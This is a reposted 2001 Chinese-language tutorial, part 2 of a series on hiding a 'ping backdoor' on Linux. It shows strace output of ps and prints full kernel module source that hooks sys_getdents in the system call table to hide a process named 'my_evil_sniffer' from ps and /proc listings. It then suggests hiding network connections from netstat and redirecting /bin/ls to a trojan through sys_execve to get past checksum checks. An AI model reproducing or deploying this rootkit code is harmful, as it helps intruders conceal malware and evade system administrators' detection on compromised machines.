[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
pingbackdoor的隱藏(2)
本文出自: http://e4gle.org 作者: 大鷹 (2001-07-04 21:04:00)
by 大鷹
www.patching.net
好,我們看進程的隱藏,其實道理和前面差不多,我們先來看看ps用了哪些系統調用,以便我們來截獲它
[hello!e4gle]# strace ps
.............
open("/proc/10284/stat", O_RDONLY)      = 5
read(5, "10284 (ps) R 10283 10283 10169 7"..., 511) = 185
close(5)                                = 0
open("/proc/10284/statm", O_RDONLY)     = 5
read(5, "115 115 96 5 0 110 19\n", 511) = 22
close(5)                                = 0
open("/proc/10284/status", O_RDONLY)    = 5
read(5, "Name:\tps\nState:\tR (running)\nPid:"..., 511) = 411
close(5)                                = 0
ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0
brk(0)                                  = 0x8162908
brk(0x8162928)                          = 0x8162928
brk(0x8163000)                          = 0x8163000
geteuid()                               = 0
getpid()                                = 10284
lseek(3, 0, SEEK_SET)                   = 0
read(3, "169129.48 167700.41\n", 1023)  = 20
time(NULL)                              = 984486166
open("/proc/meminfo", O_RDONLY)         = 5
...............
我截取了一部分,其實已經可以說明問題,非常簡單,象ps之類的命令並不是直接用任何特殊的系統調用
來獲得當前進程的列表的(也沒有系統調用可以完成這項任務) 通過對ps命令的strace,你會發現其實它
是從/proc目錄裡得到進程信息的。在/proc裡你可以找到很多目錄,它們的名字都是僅僅由數字組成的(
比較奇怪吧;),那些數字就是運行著的進程的PID了,在這些目錄裡你可以找到與該進程有關的任何信息
,所以呢,ps命令其實就是對/proc運行了ls而已,而進程的相關信息,則是在/proc/PID的目錄裡放著,
好了,現在我們有辦法了,ps必須從/proc目錄裡讀東西,所以它要用到sys_getdents(...),我們只要從
PID來找出進程名,然再把PID和/proc裡的比較,如果是我們想藏的東西,就象前面所說的隱藏目錄一
樣,把它給封殺掉,上面程序中的兩個task的函數及invisible函數僅是用來獲得在/proc裡找到PID的名
字的,至文件隱藏,不用我多說了罷。

好,我把實現例程貼出來供參考:
#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

extern void* sys_call_table[];

/*我們想要隱藏的進程名*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*將string轉換為數字*/
int myatoi(char *str)
{
 int res = 0;
 int mul = 1;
 char *ptr;
 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  if (*ptr < '0' || *ptr > '9')
   return (-1);
  res += (*ptr - '0') * mul;
  mul *= 10;
 }
 return (res);
}

/*從PID裡取得任務列表的結構*/
struct task_struct *get_task(pid_t pid)
{
 struct task_struct *p = current;
 do {
  if (p->pid == pid)
   return p;
   p = p->next_task;
  }
  while (p != current);
  return NULL;
}

/*從任務列表裡取得進程的名字*/
static inline char *task_name(struct task_struct *p, char *buf)
{
 int i;
 char *name;

 name = p->comm;
 i = sizeof(p->comm);
 do {
  unsigned char c = *name;
  name++;
  i--;
  *buf = c;
  if (!c)
   break;
  if (c == '\\') {
   buf[1] = c;
   buf += 2;
   continue;
  }
  if (c == '\n') {
   buf[0] = '\\';
   buf[1] = 'n';
   buf += 2;
   continue;
  }
  buf++;
 }
 while (i);
 *buf = '\n';
 return buf + 1;
}

/*檢查這個進程是否是我們想要隱藏的家伙*/
int invisible(pid_t pid)
{
 struct task_struct *task = get_task(pid);
 char *buffer;
 if (task) {
  buffer = kmalloc(200, GFP_KERNEL);
  memset(buffer, 0, 200);
  task_name(task, buffer);
  if (strstr(buffer, (char *) &mtroj)) {
   kfree(buffer);
   return 1;
  }
 }
 return 0;
}

/*從我剛才的第一篇文章就已經說過了,呵呵不多說了*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
 unsigned int tmp, n;
 int t, proc = 0;
 struct inode *dinode;
 struct dirent *dirp2, *dirp3;

 tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
 dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
 dinode = current->files->fd[fd]->f_inode;
#endif

 if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  proc=1;
 if (tmp > 0) {
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  memcpy_fromfs(dirp2, dirp, tmp);
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) {
   n = dirp3->d_reclen;
   t -= n;
  if ((proc && invisible(myatoi(dirp3->d_name)))) {
   if (t != 0)
    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
   else
    dirp3->d_off = 1024;
    tmp -= n; 
   }
   if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
 }
 return tmp;
}


int init_module(void)                /*加載*/
{
 orig_getdents=sys_call_table[SYS_getdents];
 sys_call_table[SYS_getdents]=hacked_getdents;
 return 0;
}

void cleanup_module(void)            /*卸載*/
{
 sys_call_table[SYS_getdents]=orig_getdents;                                      
}

其實其他我就不多說了,都是在重復勞動了,同樣隱藏網絡連接我們可以截獲netstat命令的系統調用就
可以了。

我們還可以截獲sys_execve(...)來重定向系統命令如/bin/ps,/bin/ls,呵呵,其實和本文是兩回事了,
說說而已,也就是把/bin/ls重定向到我們的ls木馬或rootkit程序,這樣可以躲過checksum的校驗,因為
我們根本沒有替換/bin/ls,呵呵,照這個思路我們可以做的事情非常多,發揮想象可以做出很多好玩的
木馬。


(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
pingbackdoor的隱藏(2) (2001-07-04 21:04:00)
pingbackdoor的隱藏(1) (2001-07-04 20:10:00)
 

★  樊強制作 歡迎分享  ★